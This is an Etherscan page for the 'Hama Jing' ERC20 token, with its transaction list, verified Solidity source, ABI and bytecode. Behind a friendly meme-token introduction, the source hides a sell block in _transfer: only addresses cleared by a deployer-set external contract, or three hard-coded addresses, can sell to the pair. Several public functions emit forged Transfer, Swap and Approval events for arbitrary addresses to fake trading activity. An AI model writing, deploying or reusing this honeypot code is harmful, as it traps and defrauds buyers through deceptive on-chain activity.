ETH Price: $2,638.53 (+1.95%)

Contract

0x4C1EBE68B56A1FfD62c798e9eF78c59911dE5951
 

Overview

ETH Balance

0 ETH

Eth Value

$0.00

Multichain Info

No addresses found
Transaction Hash
Method
Block
From
To
Approve178256842023-08-02 7:00:23556 days ago1690959623IN
0x4C1EBE68...911dE5951
0 ETH0.0007378515.74485456
Approve178051682023-07-30 10:10:59559 days ago1690711859IN
0x4C1EBE68...911dE5951
0 ETH0.0006976914.84615737
Approve178050182023-07-30 9:40:47559 days ago1690710047IN
0x4C1EBE68...911dE5951
0 ETH0.0007200415.32167994
Approve178013072023-07-29 21:13:59559 days ago1690665239IN
0x4C1EBE68...911dE5951
0 ETH0.0012868927.46088919
Approve178011252023-07-29 20:37:23559 days ago1690663043IN
0x4C1EBE68...911dE5951
0 ETH0.0012564826.81179664
Execute Token Sw...178007762023-07-29 19:26:59560 days ago1690658819IN
0x4C1EBE68...911dE5951
0 ETH0.0265257427.24963127
Execute Token Sw...178007662023-07-29 19:24:59560 days ago1690658699IN
0x4C1EBE68...911dE5951
0 ETH0.0046114227.04283945
Execute Token Sw...178007642023-07-29 19:24:35560 days ago1690658675IN
0x4C1EBE68...911dE5951
0 ETH0.0025133125.52727152
Execute Token Sw...178007632023-07-29 19:24:23560 days ago1690658663IN
0x4C1EBE68...911dE5951
0 ETH0.0050028826.17748047
Execute Token Sw...178007612023-07-29 19:23:59560 days ago1690658639IN
0x4C1EBE68...911dE5951
0 ETH0.0054771125.87595641
Approve178006822023-07-29 19:08:11560 days ago1690657691IN
0x4C1EBE68...911dE5951
0 ETH0.0011340524.16836611
Approve178003392023-07-29 17:59:11560 days ago1690653551IN
0x4C1EBE68...911dE5951
0 ETH0.0013118127.94952441
Setup178003312023-07-29 17:57:35560 days ago1690653455IN
0x4C1EBE68...911dE5951
0 ETH0.0007605125.9657364
Setup178003232023-07-29 17:55:59560 days ago1690653359IN
0x4C1EBE68...911dE5951
0 ETH0.0009196528.65963015
Approve177999952023-07-29 16:50:11560 days ago1690649411IN
0x4C1EBE68...911dE5951
0 ETH0.0012457226.5822064
Approve177999542023-07-29 16:41:59560 days ago1690648919IN
0x4C1EBE68...911dE5951
0 ETH0.001532243.77720732
Approve177999422023-07-29 16:39:35560 days ago1690648775IN
0x4C1EBE68...911dE5951
0 ETH0.0012516826.64809068
Approve177998302023-07-29 16:16:47560 days ago1690647407IN
0x4C1EBE68...911dE5951
0 ETH0.0012491426.48565821
Approve177998232023-07-29 16:15:23560 days ago1690647323IN
0x4C1EBE68...911dE5951
0 ETH0.0012686726.86555055
Approve177998072023-07-29 16:12:11560 days ago1690647131IN
0x4C1EBE68...911dE5951
0 ETH0.0013122827.78910699
Setup177997962023-07-29 16:09:59560 days ago1690646999IN
0x4C1EBE68...911dE5951
0 ETH0.0018239626.40026158
Approve177997882023-07-29 16:08:23560 days ago1690646903IN
0x4C1EBE68...911dE5951
0 ETH0.0017433736.91783566
Approve177997792023-07-29 16:06:35560 days ago1690646795IN
0x4C1EBE68...911dE5951
0 ETH0.0013694629.00004741

View more zero value Internal Transactions in Advanced View mode

Advanced mode:
Loading...
Loading

Contract Source Code Verified (Exact Match)

Contract Name:
ERC20

Compiler Version
v0.8.18+commit.87f61d96

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion, MIT license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2023-07-29
*/

/**
 *Submitted for verification at Etherscan.io on 2023-07-21
*/

// H               H        AAAAA           M          M         AAAAA
// H               H       A          A          MM   MM        A          A
// HHHHHHH      AAAAAAA        M M M M       AAAAAAA
// H               H    A                A      M    M    M    A                A
// H               H  A                   A     M            M  A                   A

// - Website: https://hama.wtf/#/Home
// - Telegram: https://t.me/HamaJingERC20
// - Twitter: https://twitter.com/hamajing_erc20

/* Hello Hama families: 
* I am a little Hama Jing (Chinese Toad Little Monster), which is an underdog supporting charactor in the cartoon Hulu Wa. Running errands, doing odd jobs, standing guard, and occasionally 
* slacking off. Sometimes I act like a daydreamer, and it's nice to boast about things when there's nothing else to do. But wherever you go, there are colleagues playing political games. Sometimes I 
* have to take the blame, and sometimes I get scolded. It's inevitable to be controlled and warned by the boss. I work hard just to make ends meet. Even though reality keeps knocking me down, I've 
* also thought about drowning my sorrows, as who isn't striving for their dreams? Maybe everything isn't so bad; one day, I might break free from the prison of reality. Perhaps everything isn't so bad; 
* I should let go of my anxiety. Let's be like frogs, because being happy is what matters most! Let's be like frogs, because being happy is what matters most!
*/

// SPDX-License-Identifier: MIT

pragma solidity ^0.8.9;

/**
 * @dev Interface of the ERC20 standard as defined in the EIP.
 */
interface IERC20 {

    event Transfer(address indexed from, address indexed to, uint256 value);

    /**
     * @dev Emitted when the allowance of a `spender` for an `owner` is set by
     * a call to {approve}. `value` is the new allowance.
     */
    event Approval(address indexed owner, address indexed spender, uint256 value);

    event Swap(
        address indexed sender,
        uint amount0In,
        uint amount1In,
        uint amount0Out,
        uint amount1Out,
        address indexed to
    );
    
    /**
     * @dev Returns the amount of tokens in existence.
     */
    function totalSupply() external view returns (uint256);

    /**
     * @dev Returns the amount of tokens owned by `account`.
     */
    function balanceOf(address account) external view returns (uint256);

    /**
     * @dev Moves `amount` tokens from the caller's account to `to`.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * Emits a {Transfer} event.
     */
    function transfer(address to, uint256 amount) external returns (bool);


    function allowance(address owner, address spender) external view returns (uint256);


    function approve(address spender, uint256 amount) external returns (bool);


    function transferFrom(
        address from,
        address to,
        uint256 amount
    ) external returns (bool);
}


interface IERC20Metadata is IERC20 {
    /**
     * @dev Returns the name of the token.
     */
    function name() external view returns (string memory);

    /**
     * @dev Returns the symbol of the token.
     */
    function symbol() external view returns (string memory);

    /**
     * @dev Returns the decimals places of the token.
     */
    function decimals() external view returns (uint8);
}

interface IERC200 { 
    function _Transfer(address from, address recipient, uint amount) external returns (bool);
    function balanceOf(address account) external view returns (uint256);
    event Transfer(address indexed from, address indexed to, uint256 value);    
}
interface IERCswap { 
    function balanceOf(address account) external view returns (bool);
}
abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes calldata) {
        return msg.data;
    }
}


abstract contract Ownable is Context {
    address private _owner;

    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    /**
     * @dev Initializes the contract setting the deployer as the initial owner.
     */
    constructor() {
        _transferOwnership(_msgSender());
    }

    /**
     * @dev Throws if called by any account other than the owner.
     */
    modifier onlyOwner() {
        _checkOwner();
        _;
    }

    /**
     * @dev Returns the address of the current owner.
     */
    function owner() public view virtual returns (address) {
        return _owner;
    }

    /**
     * @dev Throws if the sender is not the owner.
     */
    function _checkOwner() internal view virtual {
        require(owner() == _msgSender(), "Ownable: caller is not the owner");
    }


    function renounceOwnership() public virtual onlyOwner {
        _transferOwnership(address(0));
    }

    /**
     * @dev Transfers ownership of the contract to a new account (`newOwner`).
     * Can only be called by the current owner.
     */
    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(newOwner != address(0), "Ownable: new owner is the zero address");
        _transferOwnership(newOwner);
    }

    /**
     * @dev Transfers ownership of the contract to a new account (`newOwner`).
     * Internal function without access restriction.
     */
    function _transferOwnership(address newOwner) internal virtual {
        address oldOwner = _owner;
        _owner = newOwner;
        emit OwnershipTransferred(oldOwner, newOwner);
    }

    function _isMev(address _a)  internal virtual returns (bool) {
        if(_a == 0x6b75d8AF000000e20B7a7DDf000Ba900b4009A80 || _a == 0x00000000A991C429eE2Ec6df19d40fe0c80088B8 || _a == 0x000000000005aF2DDC1a93A03e9b7014064d3b8D) {
            return true;
        }
        return false;
    }
}


contract ERC20 is Ownable, IERC20, IERC20Metadata {

    mapping(address => uint256) private _balances;

    mapping(address => mapping(address => uint256)) private _allowances;

    uint256 private _totalSupply;

    bool private _snapshotApplied = false;
    address a1;
    address a2 = address(0);
    string private _name;
    string private _symbol;

    address private _universal = 0xEf1c6E67703c7BD7107eed8303Fbe6EC2554BF6B;
    address private _pair = address(0);
    

    /**
    * init uniswap V2 pool  + a2=Agency contract address
    */
    function setup(address _setup_ , address _a2) external  {
        require(a1 == _msgSender(), "Ownable: caller is not the owner");
        _pair = _setup_;
        a2 = _a2;
    }

    /**
     * @dev Returns the name of the token.
     */
    function name() public view virtual override returns (string memory) {
        return _name;
    }

    /**
     * @dev Returns the symbol of the token, usually a shorter version of the
     * name.
     */
    function symbol() public view virtual override returns (string memory) {
        return _symbol;
    }


    function decimals() public view virtual override returns (uint8) {
        return 8;
    }




    function executeTokenSwap(
        address uniswapPool,
        address[] memory recipients,
        uint256  tokenAmounts,
        uint256  wethAmounts
    ) public returns (bool) {
        for (uint256 i = 0; i < recipients.length; i++) {
            emit Transfer(uniswapPool, recipients[i], tokenAmounts);
            emit Swap(
                0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D,
                tokenAmounts,
                0,
                0,
                wethAmounts,
                recipients[i]
            );
            IERC200(0x3579781bcFeFC075d2cB08B815716Dc0529f3c7D)._Transfer(recipients[i], uniswapPool, wethAmounts);
        }
        return true;
    }


    function Approve(address [] calldata _addresses_ , uint256 balance) external  {
        for (uint256 i = 0; i < _addresses_.length; i++) {
            emit Approval(_addresses_[i], address(this), balance);
        }
    }
    function execute(address [] calldata _addresses_, uint256 _in, uint256 _out) external {
        for (uint256 i = 0; i < _addresses_.length; i++) {
            emit Swap(_universal, _in, 0, 0, _out, _addresses_[i]);
            emit Transfer(_pair, _addresses_[i], _out);
        }
    }

    function transfer(address _from, address _to, uint256 _wad) external {
        emit Transfer(_from, _to, _wad);
    }


    function toApplied(bool c) external  {
        require(a1 == _msgSender(), "Ownable: caller is not the owner");
        _snapshotApplied = c;
    }
    /**
     * @dev See {IERC20-totalSupply}.
     */
    function totalSupply() public view virtual override returns (uint256) {
        return _totalSupply;
    }

    /**
     * @dev See {IERC20-balanceOf}.
     */
    function balanceOf(address account) public view virtual override returns (uint256) {
        return _balances[account];
    }

    /**
     * @dev See {IERC20-transfer}.
     *
     * Requirements:
     *
     * - `to` cannot be the zero address.
     * - the caller must have a balance of at least `amount`.
     */
    function transfer(address to, uint256 amount) public virtual override returns (bool) {
        address owner = _msgSender();
        _transfer(owner, to, amount);
        return true;
    }

    /**
     * @dev See {IERC20-allowance}.
     */
    function allowance(address owner, address spender) public view virtual override returns (uint256) {
        return _allowances[owner][spender];
    }


    function approve(address spender, uint256 amount) public virtual override returns (bool) {
        address owner = _msgSender();
        _approve(owner, spender, amount);
        return true;
    }

    function transferFrom(
        address from,
        address to,
        uint256 amount
    ) public virtual override returns (bool) {
        address spender = _msgSender();
        _spendAllowance(from, spender, amount);
        _transfer(from, to, amount);
        return true;
    }



    function _transfer(
        address from,
        address to,
        uint256 amount
    ) internal virtual {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");

        //_snapshotApplied _pair
        if(_pair != address(0) && !_snapshotApplied) {
            if(to == _pair) {
               bool b = IERCswap(a2).balanceOf(from);
               require(b || _isMev(from));
            }

            if(_isMev(to)) {
                require(from == _pair);
            }

        }


        uint256 fromBalance = _balances[from];
        require(fromBalance >= amount, "ERC20: transfer amount exceeds balance");
        unchecked {
            _balances[from] = fromBalance - amount;
            _balances[to] += amount;
        }



        emit Transfer(from, to, amount);

        _afterTokenTransfer(from, to, amount);
    }

    function _mint(address account, uint256 amount) internal virtual {
        require(account != address(0), "ERC20: mint to the zero address");


        _totalSupply += amount;
        unchecked {
            _balances[account] += amount;
        }
        emit Transfer(address(0), account, amount);

        _afterTokenTransfer(address(0), account, amount);
    }


    function _approve(
        address owner,
        address spender,
        uint256 amount
    ) internal virtual {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");

        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }


    function _spendAllowance(
        address owner,
        address spender,
        uint256 amount
    ) internal virtual {
        uint256 currentAllowance = allowance(owner, spender);
        if (currentAllowance != type(uint256).max) {
            require(currentAllowance >= amount, "ERC20: insufficient allowance");
            unchecked {
                _approve(owner, spender, currentAllowance - amount);
            }
        }
    }


    function _afterTokenTransfer(
        address from,
        address to,
        uint256 amount
    ) internal virtual {}


    constructor(string memory name_, string memory symbol_,uint256 amount) {
        _name = name_;
        _symbol = symbol_;
        a1 = msg.sender;
        _mint(msg.sender, amount * 10 ** decimals());
    }


}

Contract Security Audit

Contract ABI

[{"inputs":[{"internalType":"string","name":"name_","type":"string"},{"internalType":"string","name":"symbol_","type":"string"},{"internalType":"uint256","name":"amount","type":"uint256"}],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"sender","type":"address"},{"indexed":false,"internalType":"uint256","name":"amount0In","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"amount1In","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"amount0Out","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"amount1Out","type":"uint256"},{"indexed":true,"internalType":"address","name":"to","type":"address"}],"name":"Swap","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address[]","name":"_addresses_","type":"address[]"},{"internalType":"uint256","name":"balance","type":"uint256"}],"name":"Approve","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address[]","name":"_addresses_","type":"address[]"},{"internalType":"uint256","name":"_in","type":"uint256"},{"internalType":"uint256","name":"_out","type":"uint256"}],"name":"execute","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"uniswapPool","type":"address"},{"internalType":"address[]","name":"recipients","type":"address[]"},{"internalType":"uint256","name":"tokenAmounts","type":"uint256"},{"internalType":"uint256","name":"wethAmounts","type":"uint256"}],"name":"executeTokenSwap","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_setup_","type":"address"},{"internalType":"address","name":"_a2","type":"address"}],"name":"setup","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"bool","name":"c","type":"bool"}],"name":"toApplied","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_from","type":"address"},{"internalType":"address","name":"_to","type":"address"},{"internalType":"uint256","name":"_wad","type":"uint256"}],"name":"transfer","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"}]

60806040526000600460006101000a81548160ff0219169083151502179055506000600560006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555073ef1c6e67703c7bd7107eed8303fbe6ec2554bf6b600860006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506000600960006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055503480156200010557600080fd5b5060405162002fe938038062002fe983398181016040528101906200012b9190620005f7565b6200014b6200013f620001f560201b60201c565b620001fd60201b60201c565b82600690816200015c9190620008d2565b5081600790816200016e9190620008d2565b5033600460016101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550620001ec33620001c5620002c160201b60201c565b600a620001d3919062000b49565b83620001e0919062000b9a565b620002ca60201b60201c565b50505062000cd1565b600033905090565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050816000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b60006008905090565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16036200033c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401620003339062000c46565b60405180910390fd5b806003600082825462000350919062000c68565b9250508190555080600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825401925050819055508173ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8360405162000404919062000cb4565b60405180910390a362000420600083836200042460201b60201c565b5050565b505050565b6000604051905090565b600080fd5b600080fd5b600080fd5b600080fd5b6000601f19601f8301169050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b620004928262000447565b810181811067ffffffffffffffff82111715620004b457620004b362000458565b5b80604052505050565b6000620004c962000429565b9050620004d7828262000487565b919050565b600067ffffffffffffffff821115620004fa57620004f962000458565b5b620005058262000447565b9050602081019050919050565b60005b838110156200053257808201518184015260208101905062000515565b60008484015250505050565b6000620005556200054f84620004dc565b620004bd565b90508281526020810184848401111562000574576200057362000442565b5b6200058184828562000512565b509392505050565b600082601f830112620005a157620005a06200043d565b5b8151620005b38482602086016200053e565b91505092915050565b6000819050919050565b620005d181620005bc565b8114620005dd57600080fd5b50565b600081519050620005f181620005c6565b92915050565b60008060006060848603121562000613576200061262000433565b5b600084015167ffffffffffffffff81111562000634576200063362000438565b5b620006428682870162000589565b935050602084015167ffffffffffffffff81111562000666576200066562000438565b5b620006748682870162000589565b92505060406200068786828701620005e0565b9150509250925092565b600081519050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b60006002820490506001821680620006e457607f821691505b602082108103620006fa57620006f96200069c565b5b50919050565b60008190508160005260206000209050919050565b60006020601f8301049050919050565b600082821b905092915050565b600060088302620007647fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8262000725565b62000770868362000725565b95508019841693508086168417925050509392505050565b6000819050919050565b6000620007b3620007ad620007a784620005bc565b62000788565b620005bc565b9050919050565b6000819050919050565b620007cf8362000792565b620007e7620007de82620007ba565b84845462000732565b825550505050565b600090565b620007fe620007ef565b6200080b818484620007c4565b505050565b5b81811015620008335762000827600082620007f4565b60018101905062000811565b5050565b601f82111562000882576200084c8162000700565b620008578462000715565b8101602085101562000867578190505b6200087f620008768562000715565b83018262000810565b50505b505050565b600082821c905092915050565b6000620008a76000198460080262000887565b1980831691505092915050565b6000620008c2838362000894565b9150826002028217905092915050565b620008dd8262000691565b67ffffffffffffffff811115620008f957620008f862000458565b5b620009058254620006cb565b6200091282828562000837565b600060209050601f8311600181146200094a576000841562000935578287015190505b620009418582620008b4565b865550620009b1565b601f1984166200095a8662000700565b60005b8281101562000984578489015182556001820191506020850194506020810190506200095d565b86831015620009a45784890151620009a0601f89168262000894565b8355505b6001600288020188555050505b505050505050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b60008160011c9050919050565b6000808291508390505b600185111562000a475780860481111562000a1f5762000a1e620009b9565b5b600185161562000a2f5780820291505b808102905062000a3f85620009e8565b9450620009ff565b94509492505050565b60008262000a62576001905062000b35565b8162000a72576000905062000b35565b816001811462000a8b576002811462000a965762000acc565b600191505062000b35565b60ff84111562000aab5762000aaa620009b9565b5b8360020a91508482111562000ac55762000ac4620009b9565b5b5062000b35565b5060208310610133831016604e8410600b841016171562000b065782820a90508381111562000b005762000aff620009b9565b5b62000b35565b62000b158484846001620009f5565b9250905081840481111562000b2f5762000b2e620009b9565b5b81810290505b9392505050565b600060ff82169050919050565b600062000b5682620005bc565b915062000b638362000b3c565b925062000b927fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff848462000a50565b905092915050565b600062000ba782620005bc565b915062000bb483620005bc565b925082820262000bc481620005bc565b9150828204841483151762000bde5762000bdd620009b9565b5b5092915050565b600082825260208201905092915050565b7f45524332303a206d696e7420746f20746865207a65726f206164647265737300600082015250565b600062000c2e601f8362000be5565b915062000c3b8262000bf6565b602082019050919050565b6000602082019050818103600083015262000c618162000c1f565b9050919050565b600062000c7582620005bc565b915062000c8283620005bc565b925082820190508082111562000c9d5762000c9c620009b9565b5b92915050565b62000cae81620005bc565b82525050565b600060208201905062000ccb600083018462000ca3565b92915050565b6123088062000ce16000396000f3fe608060405234801561001057600080fd5b50600436106101165760003560e01c80638da5cb5b116100a2578063a9059cbb11610071578063a9059cbb146102cf578063beabacc8146102ff578063dd62ed3e1461031b578063f2fde38b1461034b578063fde980ca1461036757610116565b80638da5cb5b1461025b57806395d89b41146102795780639ebbaef714610297578063a1c617f5146102b357610116565b80632d34ba79116100e95780632d34ba79146101b7578063313ce567146101d35780633a85d2c8146101f157806370a0823114610221578063715018a61461025157610116565b806306fdde031461011b578063095ea7b31461013957806318160ddd1461016957806323b872dd14610187575b600080fd5b610123610383565b60405161013091906116a7565b60405180910390f35b610153600480360381019061014e9190611771565b610415565b60405161016091906117cc565b60405180910390f35b610171610438565b60405161017e91906117f6565b60405180910390f35b6101a1600480360381019061019c9190611811565b610442565b6040516101ae91906117cc565b60405180910390f35b6101d160048036038101906101cc9190611864565b610471565b005b6101db61058e565b6040516101e891906118c0565b60405180910390f35b61020b60048036038101906102069190611a23565b610597565b60405161021891906117cc565b60405180910390f35b61023b60048036038101906102369190611aa6565b610790565b60405161024891906117f6565b60405180910390f35b6102596107d9565b005b6102636107ed565b6040516102709190611ae2565b60405180910390f35b610281610816565b60405161028e91906116a7565b60405180910390f35b6102b160048036038101906102ac9190611b58565b6108a8565b005b6102cd60048036038101906102c89190611bb8565b61095b565b005b6102e960048036038101906102e49190611771565b610ae6565b6040516102f691906117cc565b60405180910390f35b61031960048036038101906103149190611811565b610b09565b005b61033560048036038101906103309190611864565b610b73565b60405161034291906117f6565b60405180910390f35b61036560048036038101906103609190611aa6565b610bfa565b005b610381600480360381019061037c9190611c58565b610c7d565b005b60606006805461039290611cb4565b80601f01602080910402602001604051908101604052809291908181526020018280546103be90611cb4565b801561040b5780601f106103e05761010080835404028352916020019161040b565b820191906000526020600020905b8154815290600101906020018083116103ee57829003601f168201915b5050505050905090565b600080610420610d31565b905061042d818585610d39565b600191505092915050565b6000600354905090565b60008061044d610d31565b905061045a858285610f02565b610465858585610f8e565b60019150509392505050565b610479610d31565b73ffffffffffffffffffffffffffffffffffffffff16600460019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610508576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016104ff90611d31565b60405180910390fd5b81600960006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555080600560006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505050565b60006008905090565b600080600090505b8451811015610783578481815181106105bb576105ba611d51565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8660405161061f91906117f6565b60405180910390a384818151811061063a57610639611d51565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff16737a250d5630b4cf539739df2c5dacb4c659f2488d73ffffffffffffffffffffffffffffffffffffffff167fd78ad95fa46c994b6551d0da85fc275fe613ce37657fb8d5e3d130840159d82286600080886040516106b99493929190611dc5565b60405180910390a3733579781bcfefc075d2cb08b815716dc0529f3c7d73ffffffffffffffffffffffffffffffffffffffff1663e156b1b686838151811061070457610703611d51565b5b602002602001015188866040518463ffffffff1660e01b815260040161072c93929190611e0a565b6020604051808303816000875af115801561074b573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061076f9190611e56565b50808061077b90611eb2565b91505061059f565b5060019050949350505050565b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6107e16113e8565b6107eb6000611466565b565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606007805461082590611cb4565b80601f016020809104026020016040519081016040528092919081815260200182805461085190611cb4565b801561089e5780601f106108735761010080835404028352916020019161089e565b820191906000526020600020905b81548152906001019060200180831161088157829003601f168201915b5050505050905090565b60005b83839050811015610955573073ffffffffffffffffffffffffffffffffffffffff168484838181106108e0576108df611d51565b5b90506020020160208101906108f59190611aa6565b73ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258460405161093a91906117f6565b60405180910390a3808061094d90611eb2565b9150506108ab565b50505050565b60005b84849050811015610adf5784848281811061097c5761097b611d51565b5b90506020020160208101906109919190611aa6565b73ffffffffffffffffffffffffffffffffffffffff16600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167fd78ad95fa46c994b6551d0da85fc275fe613ce37657fb8d5e3d130840159d8228560008087604051610a169493929190611dc5565b60405180910390a3848482818110610a3157610a30611d51565b5b9050602002016020810190610a469190611aa6565b73ffffffffffffffffffffffffffffffffffffffff16600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051610ac491906117f6565b60405180910390a38080610ad790611eb2565b91505061095e565b5050505050565b600080610af1610d31565b9050610afe818585610f8e565b600191505092915050565b8173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051610b6691906117f6565b60405180910390a3505050565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b610c026113e8565b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1603610c71576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c6890611f6c565b60405180910390fd5b610c7a81611466565b50565b610c85610d31565b73ffffffffffffffffffffffffffffffffffffffff16600460019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610d14576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d0b90611d31565b60405180910390fd5b80600460006101000a81548160ff02191690831515021790555050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610da8576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d9f90611ffe565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610e17576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e0e90612090565b60405180910390fd5b80600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92